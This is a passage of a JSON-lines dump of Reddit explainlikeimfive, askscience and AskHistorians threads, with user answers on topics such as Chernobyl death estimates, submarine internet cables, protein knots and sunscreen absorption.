experience temperature T_eff. Aerodynamic heating is a form of forced convection. An oven also works by forced convection. So you're in essence baking your steak here. But when you bake something you don't set it to the internal temperature you want, that'd take ages. You set it higher and bake for a set period of time. I was going to use Newton's Law of Cooling here to determine the proper time to bake to medium-rare (hence the unused assumptions that I'll leave for posterity), but let's preserve my sanity and use the internet instead.\n\nLooking at [various](_URL_3_) [recipes](_URL_4_) for oven-baked ribeye, you should bake at roughly 475K for ten minutes, flipping after five. Don't ask me how, [since the cook will also be baking at roughly 475K.](_URL_0_)\n\nWhat velocity must our Steak-Sat be traveling to achieve 475K? Using the equation above:\n\nV = 326 m/s\n\nWait, 326 m/s is just under the speed of sound. That means there will be no aerodynamic heating at this temperature, since the air will still be flowing around the steak and not battering it with stationary air particles. What if we propel our steak to, say, Mach 1.5?\n\nWith V = 510 m/s, we get T_eff = 631K, or 676 degrees F. That's a bit much. Let's dial it down to Mach 1.1: V = 375 m/s, thus T_eff = 573K, or 570 degrees F. That's still a bit high, but that's more doable.\n\nI don't know about medium rare, but you could get a steak that isn't well-done from that in under 10 minutes.", "Why was this removed? It's a perfectly valid science question.", "We got an answer!\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Maillard_reaction"], [], ["http://i.imgur.com/TWQMg.png", "http://www.physicsforums.com/showpost.php?p=2774145&amp;postcount=3", "http://www.beefresearch.org/CMDocs/BeefResearch/Consumer%20preference%20of%20steak%20thickness%20in%20the%20retail%20display%20case%20from%20the%20beef%20strip%20loin,%20ribeye%20roll%20and%20top%20sirloin%20when%20cut%20to%20a%20constant%20weight.pdf", "http://www.livestrong.com/article/439112-how-to-bake-rib-eye-in-the-oven/", "http://www.ehow.com/how_5122288_bake-rib-eye-steak.html"], [], ["http://what-if.xkcd.com/28/"]]}
{"q_id": "300xs4", "title": "how are 'normal, healthy' emotional and psychological behaviors defined? is it purely based on statistics? an extreme example might be that most people behave a certain way, ergo psychopathy isn't normal?", "selftext": "Having just watched Louis Theroux's latest documentary, By Reason of Insanity, it occurred to me that I'm not aware of how it is we've come to define or establish 'healthy, normal' emotional and psychological patterns. Is it purely based on statistics?  \nI'm a very emotional individual myself, but I don't have the capacity to decide whether my thoughts are 'healthy' or not. It seems like there must be certain parameters to gauge what's 'acceptable' from a psychological standpoint. \n\nI'm very passionate and I cry easily (almost always happy tears you might be pleased to know!) I find literature, music and movies to be especially moving. I'm far more empathetic than most people I know. Societal pressure tells me this isn't 'normal' for a straight adult male. I went through a few years of depression at the end of my teens, but I feel very far away from that now. Short of crying bittersweet tears when I see how much Apollo loves Starbuck, I don't have a history of mental or emotional problems (to my knowledge!). \nAll this considered, it seems somewhat arbitrary; so how do we decide what positive and negative emotional and psychological processes are? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/300xs4/eli5_how_are_normal_healthy_emotional_and/", "answers": {"a_id": ["cpo2oak", "cpo31ku", "cpo56oo", "cpo7d7h", "cpotg16"], "score": [5, 17, 5, 2, 3], "text": ["'Normal' behaviors are Dependant on how your population acts and your culture. Its normal in say India to be really close in line to someone while in Finland its not as common to stand close to each other. Psychologically, normal is what keeps society working. If society needs people not to kill each other, then those who think \" I shouldn't stab tom\" is viewed as normal psychological behavior.", "I think it's important to note that normal != healthy. They sometimes overlap, but some normal behaviors are detrimental in modern society, while some weird behaviors can be more beneficial than their normal counterparts.\n\nNormal would be statistically determined, while healthy would be determined by the effects, either for society or the individual.", "Normal behavavior is dictated by societal norms.  Healthy psychological concepts of normal come from an ever changing doctrine of psychological theory.  What is normal today is totally unnacceptable years ago.   \n\nAs far as crying, that's fine.  Everyone has different levels of hormones.  And they change throughout your life.  You can talk to a therapist, there are plenty of resources available.\n\nI have a very high testosterone and very high levels of estrogen.  So I look like a neanderthal but I cry at pixar movies.  One night I was comforting a female friend who had been in an argument with her boyfriend, the estrogen side was telling her that they can patch it up.   But the testosterone side beat the shit out of the two idiots who made sexually harassing comments to her. \n\nIt's just you.  Go with it!  Share your gifts with people who appreciate it.\nEdit - sorry to offend people with overhanging brows", "Psychology student here. 'Mental health' in psychology, at least what we learn before entering psychopathology class, is defined by being functional, thus not damaging towards others or yourself. Damaging here meaning anything from physical harm to any form of mental prison. Issues are only then a problem if they keep you from enjoying life and developing as a person. People with anorexia for example, may be very successful in their work or personal life,  but will pretty much stay locked in a sort of catatonic state of mind, with low emotional processing and no growth. Normality is just based on statistics. ", "First of all, this is an extremely difficult question and definitely not a settled matter. It's commonly understood in psychology to be a mix of statistical and non statistical criteria. For example, I like to eat x. No one in the world likes to eat x, I'm the only one. I'm not normal. On a normal distribution (bell curve), I would be on the end.\n\nIs it healthy? Well that depends on how it affects my life. If x is poisonous, and it's keeping me in bed and from having a social life and keeping a job, then no it's not healthy. If x is perfectly safe, then there's no problem. \n\nSo let's apply this. The addiction inventory (used to figure out whether you are an addict) contains questions like\n\n >  do you drink or use drugs daily? \n\n >  Having you tried to stop drinking or taking and failed? \n\nWhich are designed to gauge the person's usage of the drug. But there are also questions like: \n\n >  Is drinking or drug use jeopardizing your job/school, or business?\n\n >  Have you gotten into financial difficulties as a result of drinking or using drugs?\n\nWhich are used to gauge the impact of the usage in your life. So you can imagine a situation where a person has all the symptoms of drug dependency (usage and associated withdrawal) but no effect on their life (they can afford it or it has a pro-social effect). \n\nSo you can see, one of the conventional ways which psychology evaluates pathologies are with the consequences. If the person has all the symptoms of a pathology, but doesn't experience any consequence resulting from it, then it's not a problem. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9rjv52", "title": "emotionally abusive", "selftext": "I hear this term so often these days, mainly on reddit. Now I'm not native english and that might explain a lot, but how do you characterize an emotionally abusive person (mother/father/etc)? \n\n & #x200B;\n\nI'm confused, because if a parent treats his child badly, or X treats Y badly that's simply \"abusive\". What is the thin line between simply being abusive and being Emotionally abusive?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rjv52/eli5_emotionally_abusive/", "answers": {"a_id": ["e8he5wm", "e8hec6j", "e8henqa", "e8hetoe", "e8hig4p", "e8hkg0o"], "score": [17, 9, 4, 2, 9, 2], "text": ["Generally the term \"emotionally abusive\" is used to distinguish behaviors from \"physically abusive.\" That is to say that the behaviors are injurious/hurtful/traumatic but do not entail physical violence. ", "Physical abuse is obviously physical, punching, slapping, kicking, etc. Emotional abuse is more verbal. If a dad tells his kid he's too stupid to go to school, or a guy tells his girlfriend she's fat, or ugly. You're telling someone something specifically to hurt them. You're controlling the other person by lowering their self esteem. If a kid grows up hearing they're stupid, or too dumb to do stuff, they'll eventually start to believe it. ", "Abusive is when I hit you for burning the eggs. \n\nEmotionally abusive is when I tell you that you\u2019re a piece of shit and that you deserved it. \n\nIf you\u2019re treating someone badly, and you touch them to do so, it\u2019s abusive. If you don\u2019t touch them, but rather treat them badly with words, it\u2019s emotionally abusive. \n\nAbuse is used as shorthand for physical or emotional abuse. Physical attacks your body, emotional attacks your mind and emotions. Physical abuse can injure your emotions, but emotional abuse **only** attacks your emotions. ", "Abuse occurs when someone attempts to control another person. So physical abuse is hurting another person physically to control the other person, and emotional abuse in this case between a parent and child, is when the parent yells/unjustly restricts/neglects/berates a child in order to gain control over said child. Emotional abuse also includes asking the child to lie for the parent, as well as giving the role as an \u2018adult\u2019 to the child (making the child meet emotional needs of the parent,  usually while also neglecting the emotional needs of the child). Often times, emotional abuse occurs in conjunction with physical and/or sexual abuse.", "People have given you good examples of the difference between emotional and physical abuse, but I'd like to add to that.\n\nEmotional abuse doesn't have to be saying obviously hurtful things to someone, like you're fat or you're stupid.  \n\nYou can emotionally abuse someone in more subtle ways that aren't at all obvious.  Anytime you say or do something that is meant to deny another person their sense of self or control over their own lives, that's emotionally abusive.\n\nExample:  I'll help you with your rent but you have to live where I say you have to live.\n\nThis statement might seem reasonable on it's face and not at all abusive, but it's meant to take away a person's autonomy and allow the person \"helping\" to control the person who needs help.\n\nAnother form of emotional abuse is called \"infantilizing\".  This is when you do everything for someone so they don't have to do anything for themselves and it often prevents the subject from learning how to do anything for themselves or from taking responsibility for their own lives.\n\nIf I'm a parent and I control my child's finances, transportation, food, etc. and I never let that child learn how to do these things for themselves well beyond the age when a child should be able to do these things for themselves, then I'm being emotionally abusive.\n\nThe more subtle forms of emotional abuse may look helpful, but their not.", "You're stupid for even asking this.  Why do you think you deserve an answer? It sounds like you're trying to make me the bad guy here.  Why do you have to have so many feelings?  You should really just sit on that shit. None of your feelings are really valid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1busxj", "title": "Can plants use proteins from the dead biomass in the ground.", "selftext": "I keep hearing that plants can only absorb mineral stuff, and absolutely cannot (except insectivore plants) absord proteines from other dead plants or insects.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1busxj/can_plants_use_proteins_from_the_dead_biomass_in/", "answers": {"a_id": ["c9a9pgp"], "score": [2], "text": ["Well, they do, but our current understanding is that these nutrients have to be digested by something else, first.  The dead stuff in the ground is first degraded by microorganisms in the ground into nutrient form, then these are taken up by plants.  Plants have even formed very specific symbiotic relationships with some microorganisms to help absorb these nutrients.  My favorite of these examples is ]arbuscular mycorrhiza](_URL_1_).\n\nMore to the point, it is known that plants can uptake amino acids, but their ability to digest proteins in the soil and utilize them is a topic of research, though some studies suggest yes even if the growth it is not as efficient and involves secreting proteases. [Paungfoo-Lonhienne et al. 2008 PNAS] (_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2393761/", "http://en.wikipedia.org/wiki/Arbuscular_mycorrhiza"]]}
{"q_id": "2vt1ip", "title": "if pixels are all rgb up close, how are they different colors from far away?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vt1ip/eli5_if_pixels_are_all_rgb_up_close_how_are_they/", "answers": {"a_id": ["coko2em"], "score": [2], "text": ["When your eyes see different combinations of red, green and blue, your brain interprets that as different colours. E.g. it interprets red + green as yellow.\n\nThe individual RGB elements are too small for your eyes to pick out individually (unless you look really close), so it looks like a smooth colour instead of separate dots of red, green and blue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b1nrlc", "title": "why is it after a long time of viewing pornography you start looking for more and more hardcore porn as the old more soft-core videos dont satisfy you anymore?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1nrlc/eli5_why_is_it_after_a_long_time_of_viewing/", "answers": {"a_id": ["ein0dqe"], "score": [25], "text": ["Its called Desensitization!\n\nYou've seen it and done the business. The next time it just isnt interesting anymore.\n\n(As an extreme example here) Its the same reason why nobody gives a shit about terrorist attacks or school shootings or whatever: it happens once and its a big shock, it happens every other week and its business as usual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6344vi", "title": "Why can't you ever have truly monochromatic light?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6344vi/why_cant_you_ever_have_truly_monochromatic_light/", "answers": {"a_id": ["dfrm67k", "dfrzxes", "dfs043j"], "score": [12, 6, 10], "text": ["Heisenberg's uncertainty principle. The wavelength of light is related to it's momentum, and quantum objects (such as light particles) cannot have their momentum defined with infinite precision. That's why a photon cannot have one exact wavelength, instead it has a range of possible values for it's wavelength.", "One can come up with a very narrow-banded light source, but it is impossible to have a truly monochromatic light because of the the Heisenberg's uncertainty principle (HUP), even though the HUP does not impose a certainty limit to each observable. Let's consider an ideal continuous laser:\n\nIf you turned it on one year ago, then there is some kind of envelope function modulating the electric field function over time, which will broaden the laser spectrum.\n\nMathematically, the only thing that has a single frequency are function of the form f(t)=sin(w.t) (or a cosine or complex exponentials, but you get the idea), but this function describes \"an oscillation that has always been there\". If you make this function f(t)=0 for t < t_0, its spectrum will broaden.\n\n-\n\nSo, if you want a truly monochromatic light, you need a source that has *always* been there emitting that same frequency of light.", "You don't need to invoke quantum mechanics to see why you can't have monochromatic light.\n\nMonochromatic light is a wave with exactly one frequency. If you look for a finite time at a beam of light it can seem as if it has exactly one frequency, however if the light is ever switched off or there was ever a time before it was switched on then this can't be true. A single sine wave goes on oscillating forever and has been oscillating forever.\n\nAlso see [this](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Fourier_transform#Uncertainty_principle"]]}
{"q_id": "cuh2gz", "title": "The death toll for Chernobyl ranges wildly, from a few hundred to tens of thousands. Which numbers are the most believable and why? Furthermore, why is it so hard to establish a concrete number for the disaster?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cuh2gz/the_death_toll_for_chernobyl_ranges_wildly_from_a/", "answers": {"a_id": ["exuyfo5"], "score": [23], "text": ["The \"low\" numbers are counting people who were immediate and direct casualties from the disaster. So there were people who were exposed to enough radiation that they died in a few weeks, and some people who died in the immediate hours of the accident itself. \n\nThe \"high\" numbers are extrapolations based on the amount of radiation that people were exposed to some distance from the plant, and what fatal cancers are associated with those numbers. Which is to say: some number of people died of cancer in Europe after 1986. How many of those are attributable to their Chernobyl exposure? The number is too small to directly measure (because the cancer rates can fluctuate from year to year anyway by a small amount), so it's not like the cancer rate just sky-rocketed. There are guidelines for understanding how a given exposure of radioactivity affects an individual's likelihood of developing cancer, though these can be controversial for very low doses of radiation. So this is where there is, and will probably always be, considerable uncertainty. Did someone's cancer come from Chernobyl, random genetics, cosmic radiation, other environmental factors, or what? This isn't easy to figure out, especially in the case of radiation that went fairly diffusely over a very large, highly-populated area.\n\nSo ultimately this is a tricky job \u2014 radiation-caused cancers do not carry any kind of obvious and unique \"signature\" of their origins, most of the time. So you have to infer them epidemiologically (e.g., change from baseline) or sometimes purely probabilistically (if the number of cancers is relatively small). \n\nAs for which number is \"believable\": this will depend entirely on what your methodology is. A very careful, honest, non-alarmist, (pro-nuclear), experienced physicist colleague of mine did a peer-reviewed literature review of all of the Chernobyl estimates for the Federation of American Scientists a few years back. He concluded that the estimates in the range of 26,000-57,000 were the most supported by our current understanding of both the radiation hazards posed by Chernobyl, our present understanding of the effect of low doses of radiation on population cancer risks, and our understanding of how many people were exposed. I find this plausible, myself. It sounds like a large number, but compared to the total fatal cancers in Europe from 1986 through the present it is actually fairly small, which is why they don't stand out from the baseline (approx. 2 million people in Europe die from cancer every year). \n\nMy colleague also does a good job of discussing the uncertainty involved. His article is deliberately very readable. See: Edward A. Friedman, \"[Calculating the Uncountable Deaths from Chernobyl](_URL_0_),\" _Public Interest Report_ 69, no. 2 (Winter 2016/2017), 17-27.\n\nPersonally I find the low estimates very unreliable: I just don't buy that dusting a considerable fraction of Europe, an area populated by millions, with fission products would not cause some serious damage. I do not find the hormesis (\"radiation is good for you\") thesis compelling, or supported by the data that I have looked at. But again, if you go into this with different assumptions, you will get different outcomes, because it's not something we can directly measure, only infer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://fas.org/wp-content/uploads/2016/12/PIR-2016_v3.1_small.pdf"]]}
{"q_id": "ag8h66", "title": "How are islands connected to the internet?", "selftext": "Hello there. I'm wondering how islands are connected to the internet? Is it a matter of a simple cable connection? And in the case of larger islands, (Ireland or Britain), are they connected at multiple points or in conjunction with satellites? \n\nCheers!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ag8h66/how_are_islands_connected_to_the_internet/", "answers": {"a_id": ["ee4ipp5", "ee4ium9", "ee4j0gj", "ee4u3m0", "ee4xg8t", "ee4y0y5", "ee50a1f", "ee5gwlw"], "score": [36, 85, 231, 40, 5, 3, 12, 4], "text": ["Fat undersea fibre optic cables. I don't know the exact mapping but they are connected at multiple points, all international traffic doesn't necessarily go through one cable.\n\nSatellites are expensive and not really used for this.\n\nSorry don't know more.", "submerine cable: [_URL_0_](_URL_0_)\n\nor via satellite using something like Iridium sat network [_URL_2_](_URL_1_)", "For the U.K. it's cables. In fact one of the main points for connections between North America and Europe comes ashore there. \n\nThere's a map of them all here: [_URL_1_](_URL_0_)\n\n & #x200B;", "I highly recommend an article written for Wired magazine by Neil Stephenson called \"Mother Earth Mother Board.\" It goes into great detail about how we have been laying cable all over the earth for the exact purpose of connecting to the internet and other forms of communication. ", " \n\nMostly via cables that run over the sea or ocean floor. The same way that we connect the Americas to Eurasia.\n\nSmaller islands, where it's not worth the investment to lay cables will use some form of satellite internet.", "Major one in the UK is  [Porthcurno Beach](_URL_0_)  more so in the past connecting telegraph cables I think the newer fibre optic cables are somewhere nearby now. Very interesting museum in the old telegraph building and one of the most beautiful beaches in Cornwall if not the UK", "Satellite might be used in some locations where population density can\u2019t justify the cost of deploying fibre. But satellite is by far the most expensive way to transmit data between 2 locations. To give you a rough idea a 100mb/s (both ways) link cost ~$200k/ months in Satelite capacity only. \n\nSatellite is by far the last resort...\n\n(I work for an ISP serving remote communities in northern Canada, using  satellite. We have access to 14 transponders, our monthly cost to use the bird is well above $1M)", "Besides cables and satellites, another option is a ground-based microwave or radio wave link. In the UK BT have used \"wireless to the cabinet\" to get higher speeds to remote villages (by UK standards) without having to run cables, including at least one installation where an island was linked to nearby mainland. This is more for small scale use, say a few hundred homes. Since the high-frequency radio waves used are limited to line-of-sight propagation, it's suited to islands relatively near to a larger landmass, but not those in the middle of oceans.\n\n_URL_1_\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.submarinecablemap.com/", "https://en.wikipedia.org/wiki/Iridium_satellite_constellation", "https://en.wikipedia.org/wiki/Iridium\\_satellite\\_constellation"], ["https://www.submarinecablemap.com/#/landing-point/tyra", "https://www.submarinecablemap.com/#/"], [], [], ["https://en.m.wikipedia.org/wiki/Porthcurno"], [], ["https://www.ispreview.co.uk/index.php/2013/07/bt-trial-80mbps-wireless-to-the-cabinet-broadband-on-rathlin.html", "https://www.ispreview.co.uk/index.php/2017/06/openreach-deploy-wireless-cabinet-broadband-scalpay-island.html"]]}
{"q_id": "3hd0g3", "title": "are we capable of having thoughts that are truly original, or are our thoughts only combinations of images, language, and emotions that we have prior knowledge of, but which we have rearranged in a way that is new to us: aka an \"idea\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hd0g3/eli5are_we_capable_of_having_thoughts_that_are/", "answers": {"a_id": ["cu6dako"], "score": [6], "text": ["Well, let's look at this through a metaphor for a minute.  \n\nCan I cook something that's truly original?  After all, the ingredients that I will cook with are the same ingredients that have been used for many other dishes over the year.  And yet, chefs \"invent\" new dishes all the times, or find new ways to make fairly familiar ones seem new.  \n\nI believe it's the same with ideas.  Yes, the elements that make up an idea came from somewhere, but that does not make them simply a rehash of the old.  We are living in a time that was inconceivable just a few decades ago, and so we have a perspective now that was impossible to have had before -- just as it's impossible for us to go back into time and think about ideas in exactly the same way that Plato or Rousseau might have."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1shko1", "title": "Explain to me what's so special about the belousov-zhabotinsky reaction", "selftext": "Apparently this reaction is a big deal in thermodynamics. Could someone explain to me in layman's terms what it's all about? I want to know what non-equilibrium is, what a chemical oscillator is, why biological processes are said to be far from equilibrium, and if these reactions really are a big deal, etc.\n\n_URL_0_ \n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1shko1/explain_to_me_whats_so_special_about_the/", "answers": {"a_id": ["cdy3tcl"], "score": [2], "text": ["Equilibrium, in the simplest possible terms, is simply a state that stays as it is. A marble rolling around a bowl isn't in equilibrium, but once it's come to rest at the bottom it is. In terms of chemistry, equilibrium does not necessarily mean that all the molecules stay the same, just that their numbers do. E.g. if you have ice in water with both at 0 C, then the amount of ice and water will stay the same - they're in equilibrium. But some of the ice will be thawing and some of the water freezing, but this happens at the same rate. At equilibrium the energy that can be used as work (Gibbs free energy) is minimized. Referring back to the first example, a rolling ball can be used to perform more mechanical work than it can once it's given off its energy as heat (through friction) and come to rest. \n\nBiological systems are far from equilibrium. You've got reactions going on all the time, chemical energy is being expended to maintain all your vital molecules in 'working condition', some of the energy is being lost as heat, etc.\n\nI'd say the BZ reaction is actually _not_ a big deal when it comes to thermodynamics but _kinetics_, which is a bit complementary to it in chemistry. Thermodynamics dictates that things will eventually reach equilibrium, their lowest-energy state. When things are in that state they're 'thermodynamically stable'. But thermodynamics doesn't say anything about _how long_ it will take to reach that state. \n\nMany things are in fact _not_ thermodynamically stable. At atmospheric pressure, diamonds have higher energy than graphite, and graphite surrounded by air would have less energy if it formed CO2. But at room temperature, neither of these things happen at any appreciable rate - they occur astronomically slowly. So for practical purposes they're stable, i.e. _kinetically stable_.\n\nThe BZ reaction does however reach thermodynamic equilibrium after a short while; it does not oscillate forever. But it demonstrates that even when reactions are headed towards thermodynamic equilibrium, they don't necessarily take a neat 'straight path' to it. In this case you have a whole set of competing reactions, whose kinetics affect each other to give rise to these oscillations. It's a chemical kinetics form of non-linear dynamics, which is something seen in lots of places, such as the oscillatory motion of a pendulum. (although the specific kinetics here are far more complicated than a pendulum, it's essentially the same kind of feedback mechanisms that lead to oscillatory behavior here)\n\nIf you burn some sugar in oxygen - ordinary combustion - it'll head very quickly straight to its lowest-energy state of water and CO2, giving off lots of heat. Contrast that to biological metabolism, with the citric acid cycle, electron transport chain and all that. The end products are the same, but the pathway taken is much longer and more complicated. In a way, most life is just a rather twisted path that energy that ultimately comes form the Sun takes, towards being converted to heat.\n\nThe BZ reaction in-itself isn't that interesting; every chemist knows of it but very few could tell you all the reactions involved. Mainly it makes for an vivid illustration that things don't necessarily reach chemical equilibrium quickly or directly.\n"]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=IBa4kgXI4Cg"], "answers_urls": [[]]}
{"q_id": "30kio9", "title": "TIL ISS gradually loses altitude while it's orbiting earth. Why doesn't this happen to the moon?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30kio9/til_iss_gradually_loses_altitude_while_its/", "answers": {"a_id": ["cptcei7", "cptd7c3", "cptfdwv", "cptm0l3"], "score": [12, 9, 22, 4], "text": [" >  The migration of the Moon away from the Earth is mainly due to the action of the Earth's tides.\n\n >  The Moon is kept in orbit by the gravitational force that the Earth exerts on it, but the Moon also exerts a gravitational force on our planet and this causes the movement of the Earth's oceans to form a tidal bulge.\n\n >  Due to the rotation of the Earth, this tidal bulge actually sits slightly ahead of the Moon. Some of the energy of the spinning Earth gets transferred to the tidal bulge via friction.\n\n >  This drives the bulge forward, keeping it ahead of the Moon. The tidal bulge feeds a small amount of energy into the Moon, pushing it into a higher orbit like the faster, outside lanes of a test track.\n\n >  This phenomenon is similar to the experience one feels on a children's roundabout. The faster the roundabout spins the stronger the feeling of being slung outwards.\n\n[Source](_URL_0_)\n\nEdit: I fail at links", "Contrary to what common sense would dictate, the moon is actually GAINING altitude as its orbit decays. It is a very slow rate, however the reason it is gaining is that it is taking the angular momentum of the earth's rotation. As the earth spins, it transfers a small amount of its momentum to the moon. Back when the earth was still young a day was roughly 8 hours, and over the billions of years, the length of a day has slowly has gotten longer and longer. ", "The ISS is losing altitude because it gets slowed down by the atmosphere.\n\nThe moon is much farther away than the ISS and doesn't have this problem.", "The ISS orbits low enough to still experience a tiny bit of atmospheric drag.  Over a period of many years, that drag would be enough to eventually bring it crashing down.  So, every few years, it has to be pushed back up to a higher orbit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bbc.com/news/science-environment-12311119"], [], [], []]}
{"q_id": "5hdg0m", "title": "what caused south korea's president to get impeached?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5hdg0m/eli5_what_caused_south_koreas_president_to_get/", "answers": {"a_id": ["dazhigz", "dazi0ql", "dazkja1", "dazlndo"], "score": [120, 26, 3, 4], "text": ["She has been under the influence of the daughter of a cult leader since her mother has been assassinated. Everything from her speeches to her stance on North Korea to her wardrobe has been influenced by the Choi Soon Sil. Like almost all Korean politicians, she is corrupt, but in her case, stolen funds have gone to her shaman. The article below is a bit long but highly entertaining explaining the complete absurdity of the situation.\n\nStolen analogy: Imagine a conservative president claimed to be Christian, but was actually a Scientologist, and Tom Cruise and his posse including a gigolo and a music video director were managing all of the president's affairs.\n\n_URL_0_", "Maybe ELI4:\n\nShe was elected as the leader, but somebody else was telling her what to do/say/dress. The public found out, and are naturally upset.\n\nI like /u/mattexcursion 's analogy. ", "At least in the USA we can band together, get a permit, and do big protests in front of the Lincoln Memorial.\n\nWhat?  Sorry, that right has gone away.", "Like most of the Western media, the answers here have focused on the fact that Choi Sun Sil was the daughter of a cultist. This is a pretty small part of the narrative in South Korea.\n\nWhat really matters is that President Park gave Choi access to secret documents, and took her advice on policy matters. So an non-elected, non-appointed, non-vetted, private individual was given access to government documents and had influence over policy.\n\nThe corruption issue is also important, but that's less specifically about Park herself, and more about the systemic corruption that has been a feature of virtually every administration for the past 30 years. Samsung, Hyndai, Lotte and the other conglomerates were \"encouraged\" to donate money to a foundation controlled by Choi, which was assumed to be a retirement fund of sorts for Park. When the deputy head of Samsung was questioned about this in congressional hearings this week, he said \"If the government asks, it's hard to say no.\"\n\nIn short, Park was impeached because she broke the law, and the people are protesting en masse because they're sick of the same old shit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://askakorean.blogspot.kr/2016/10/the-irrational-downfall-of-park-geun-hye.html"], [], [], []]}
{"q_id": "bfc0zm", "title": "what happens to sunscreen? does my body absorb or metabolize it? is it stored in some form?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bfc0zm/eli5_what_happens_to_sunscreen_does_my_body/", "answers": {"a_id": ["elclv5n", "elcn6kx", "elco97j", "elcru8f", "elctd21", "elctfy7", "eldjcy3", "eldv62w"], "score": [5, 3947, 194, 6, 55, 130, 20, 38], "text": ["It stays on your skin. Sunscreen has an absorbtion maximum similar to our DNA (which would get damaged by the UV-Light). Therefore it protects our DNA by absorbing these specific wavelengths and must stay on our skin.", "It's absorbed into your epidermis which is a layer of dead skin cells, and reflects UV rays from there.  Trace amounts \\*might\\* make it as deep as your capillaries if you're regularly using copious sunscreen, but your Kidneys will, in general, make short work of those traces and it will be expelled in your urine.  Most of it eventually wears off through water, sweat or friction as your skin cells shed off.", "Piggybacking on this - if I was to apply sunscreen and then remain inside - no sun exposure, no sweat - until it says it\u2019s time to reapply... do I need to reapply?  Or is it sitting there \u201cunused\u201d in that instance?", "How little can you use and it still be effective?", "Well, I\u2019ve not come across anyone else who complained about this, but if I use a \u201cchemical\u201d sunscreen (ie- not zinc or titanium based) after about a half an hour, I can taste it.  I get an awful taste in my mouth.  Took me months to figure it out.  I\u2019d put on sunscreen to go out for a bike ride and start having to suck on hard candies to mask the taste.  I do\u2019t have the problem when I use the metallic blockers.", "Yes, your body will absorb it - I can tell when summer hits, as I start seeing DEET (from mosquito repellents) and oxybenzone  (sunscreen) in forensic samples, eg blood and urine. \n\nThe body will metabolize oxybenzone into DHB and THB for example, although I don't know if I've made a note of those, but I see oxybenzone for sure.", "Sunscreen is stored in the skin surface, and is spread out in contact of water\n\nSad fact: sunscreen is devastating for the sea-life, some beaches already forbid it [_URL_0_](_URL_0_). Just cover yourself, or stay less time exposed", "Not only is it absorbed but research has found that certain chemicals in sunscreens like oxybenzone, octinoxate, octocrylene, homosalate, and avobenzone are not only absorbed into the blood but are even found in the blood of a fetus of a woman who used it while pregnant. The research has even shown links to these chemicals and hormonal imbalance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://theconversation.com/beaches-are-banning-sunscreens-to-save-coral-reefs-112729"], []]}
{"q_id": "27nock", "title": "I know unfolding is a complex event in the life of a protein... but can long proteins actually get tied in knots?", "selftext": "Can a protein get tied in a knot and if so can it be tied so tightly that it can't be undone by the normal unfolding process?  If they can... what are the ramifications... if they can't... why (k)not?\n\nThanks.\n\nedit: Amazing and thorough responses.  Thanks, I have more reading to do it looks like!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27nock/i_know_unfolding_is_a_complex_event_in_the_life/", "answers": {"a_id": ["ci2luzo", "ci2mnt4"], "score": [44, 3], "text": ["Yes! Actually, proteins do form knots. However, I think you have the process a little backwards, proteins are generated as a long single strand and the complicated process that gives them their shape and therefore function, is folding. Once folded, they generally do not unfold until they're degraded. They DO change conformation, move and flex and these changes can be substantial. \n\nAnyway, back to your question. The first knotted protein was discovered in ~1994, and was  HUGE deal. People generally thought that knots were too complex as far as folding goes and that they had been weeded out. _URL_2_\n\nBut, since then there have been oodles more knotted proteins that have been found, and there are whole labs dedicated to studying knotted structures! Since we can't actually watch how proteins fold, there are tons of people trying to mathematically model how it could work. A couple great articles are here _URL_3_ and here _URL_0_   (I\"m cherrypicking articles that I know are free to view, there are more behind paywalls)\n\nIf a protein for some reason was to need to unfold again after folding, there's no reason that the process couldn't be fully reversible, we just don't know if it happens. Typically your cells go to great lengths to keep their proteins folded and in working order, the Unfolded Protein Response is almost universal in living things. \n\n_URL_1_\n\nNow let's go to the last part. IF a protein had a physiological need to knot, and then unknot, and it COULDN'T, there are several things that could happen. Typically broken proteins (ones that aren't folded well or correctly, are corrected by the UPR process described above. Proteins that can't be refolded are broken down into their component parts (and quickly too! Your cells are very tidy!) \n\nNow here's one last interesting hypothetical, that is certainly not out of the realm of possibility. If a knotted protein was to unfold or to knot incorrectly and for whatever reason the cell couldn't degrade it or 